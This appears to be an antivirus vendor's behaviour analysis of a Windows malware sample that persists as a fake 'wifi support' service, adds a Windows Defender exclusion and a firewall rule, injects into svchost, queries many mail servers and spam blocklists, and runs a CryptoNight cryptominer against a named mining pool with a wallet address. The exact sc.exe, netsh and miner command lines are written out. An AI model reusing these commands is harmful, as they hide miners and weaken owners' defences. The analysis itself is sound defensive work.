Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\rthfilzf] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rthfilzf] 'ImagePath' = '%WINDIR%\SysWOW64\rthfilzf\arzxhcjx.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\rthfilzf] 'ImagePath' = '%WINDIR%\SysWOW64\rthfilzf\arzxhcjx.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\rthfilzf' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\arzxhcjx.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\arzxhcjx.exe to %WINDIR%\syswow64\rthfilzf\arzxhcjx.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ma##.#si.cuny.edu
- DNS ASK mx#.#mpal.com
- DNS ASK em##l.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK ox#.edu
- DNS ASK bc####s04.cuny.edu
- DNS ASK bc#.#uny.edu
- DNS ASK google.com
- DNS ASK li######.#lc.protection.outlook.com
- DNS ASK li##.com
- DNS ASK la###ette.edu
- DNS ASK in#####dentsservice.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK mx#.###.#ailpod8-cph3.one.com
- DNS ASK th##sen.dk
- DNS ASK mx####1.stofanet.dk
- DNS ASK st##anet.dk
- DNS ASK sm###.rjf.com
- DNS ASK ra####djames.com
- DNS ASK sm##.##itedwayrrv.org
- DNS ASK un####wayrrv.org
- DNS ASK mx##.#indstream.net
- DNS ASK de##zzd.com
- DNS ASK mx.###mexperts.com
- DNS ASK ja##alk.com
- DNS ASK ya##o.de
- DNS ASK d7#####.##s.barracudanetworks.com
- DNS ASK cs#####.csi.cuny.edu
- DNS ASK ar#####cture.wustl.edu
- DNS ASK d2#####.#.#ss.uk.barracudanetworks.com
- DNS ASK th###ange.com
- DNS ASK tc###7.spb.edu
- DNS ASK mx###.##erycloudtech.com
- DNS ASK th####ndvenue.co.uk
- DNS ASK mx#.##rthlink.net
- DNS ASK ea###link.com
- DNS ASK ao#.###ts.princeton.edu
- DNS ASK sp####.princeton.edu
- DNS ASK th####ndseason.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK es###ees.com
- DNS ASK ba######a.conquertheweb.com
- DNS ASK th#####dmajestic.com
- DNS ASK ye######.mxmail.netease.com
- DNS ASK ye##.net
- DNS ASK mx##.mail.com
- DNS ASK us#.com
- DNS ASK ps##.usm.edu
- DNS ASK au###ypt.edu
- DNS ASK mx.####o.locaweb.com.br
- DNS ASK gl##o.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK un####roofing.com
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK th#####mlistener.com
- DNS ASK ya##o.co.uk
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK ms#.com
- DNS ASK sm####n.orange.fr
- DNS ASK na##us.dk
- DNS ASK mx.##t.duke.edu
- DNS ASK du##.edu
- DNS ASK mx##.##tzenitmail.dk
- DNS ASK it.dk
- DNS ASK aspmx.l.google.com
- DNS ASK ta##er.net
- DNS ASK mx#.#omcast.net
- DNS ASK co##ast.net
- DNS ASK ya##o.ca
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK pi##.co.uk
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK mi####.bittubeapp.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ALT1.ASPMX.L.GOOGLE.COM
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK dw#.net
- DNS ASK we#####01.geektoast.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK un####ynetwork.com
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK gm##l.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ya##o.com
- DNS ASK ma##.pita.co.uk
- DNS ASK na#######.#ail.protection.outlook.com
- DNS ASK sk##ekom.dk
- DNS ASK wa##doo.fr
- DNS ASK pl#######x.com.c2.mx1.ik2.com
- DNS ASK al#######dk.mx1.mailanyone.net
- DNS ASK al##rand.dk
- DNS ASK cd#.##rpemail.net
- DNS ASK la###ind.com
- DNS ASK sm##.##scmail.wisc.edu
- DNS ASK wi##.edu
- DNS ASK dc######c9927b7.wanadoo.dk
- DNS ASK wa##doo.dk
- DNS ASK bi##########k.mail.protection.outlook.com
- DNS ASK bi###gy.au.dk
- DNS ASK mx#.##tsolmail.net
- DNS ASK lo####arglass.com
- DNS ASK pl###tamex.com
- DNS ASK on#.lt
- DNS ASK mx#.##stinger.com
- DNS ASK he####greligion.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK ea###ink.com
- DNS ASK tn#####gw-03.telenor.no
- DNS ASK ca###digital.dk
- DNS ASK ma##.###tedwayplains.org
- DNS ASK un####wayplains.org
- DNS ASK st##ling.dk
- DNS ASK mx#.#itnet.dk
- DNS ASK uv#.dk
- DNS ASK ma###.one.lt
- DNS ASK ro####o.uofs.edu
- DNS ASK se####.scranton.edu
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\rthfilzf\arzxhcjx.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rthfilzf\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\arzxhcjx.exe" %WINDIR%\SysWOW64\rthfilzf\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create rthfilzf binPath= "%WINDIR%\SysWOW64\rthfilzf\arzxhcjx.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description rthfilzf "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start rthfilzf' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rthfilzf\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\arzxhcjx.exe" %WINDIR%\SysWOW64\rthfilzf\
- '%WINDIR%\syswow64\sc.exe' create rthfilzf binPath= "%WINDIR%\SysWOW64\rthfilzf\arzxhcjx.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description rthfilzf "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start rthfilzf
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k